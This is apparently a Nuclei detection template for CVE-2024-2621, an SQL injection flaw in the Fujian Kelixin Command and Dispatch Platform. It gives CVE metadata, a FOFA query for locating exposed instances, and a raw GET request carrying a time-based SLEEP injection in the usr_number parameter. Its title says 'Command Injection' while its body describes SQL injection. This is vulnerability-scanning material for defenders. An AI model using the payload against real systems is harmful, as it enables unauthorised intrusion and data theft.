id: CVE-2024-2621

info:
  name: Fujian Kelixin Communication - Command Injection
  author: DhiyaneshDk
  severity: medium
  description: |
    A vulnerability was found in Fujian Kelixin Communication Command and Dispatch Platform up to 20240318 and classified as critical. Affected by this issue is some unknown functionality of the file api/client/user/pwd_update.php.
  impact: |
    Authenticated attackers can extract sensitive database information via time-based SQL injection in the usr_number parameter.
  remediation: |
    Update Fujian Kelixin Communication Command and Dispatch Platform to a version newer than 20240318.
  reference:
    - https://h0e4a0r1t.github.io/2024/vulns/Fujian%20Kelixin%20Communication%20Co.,%20Ltd.%20Command%20and%20Dispatch%20Platform%20SQL%20Injection%20Vulnerability-pwd_update.php.pdf
    - https://vuldb.com/?ctiid.257198
    - https://vuldb.com/?id.257198
    - https://github.com/NaInSec/CVE-LIST
    - https://github.com/fkie-cad/nvd-json-data-feeds
    - https://nvd.nist.gov/vuln/detail/CVE-2024-2621
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2024-2621
    cwe-id: CWE-89
    epss-score: 0.0194
    epss-percentile: 0.78116
  metadata:
    verified: true
    max-request: 1
    fofa-query: body="app/structure/departments.php" || app="指挥调度管理平台"
  tags: time-based-sqli,cve,cve2024,sqli,fujian,rce,vuln

http:
  - raw:
      - |
        @timeout 15s
        GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(6)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'status_code == 200'
          - 'contains_all(body,"msg\":","header\":","code\":")'
        condition: and
# digest: 4a0a00473045022062d87bba640b22f4b98b0e7a39edcd861ca20ae12a5f5ad1b74ba942bcef5a0b022100cd420d29fadc5caa2a2bbb26a691ffc5832435412368bc5e0705539e20c38a1f:922c64590222798bb761d5b6d8e72950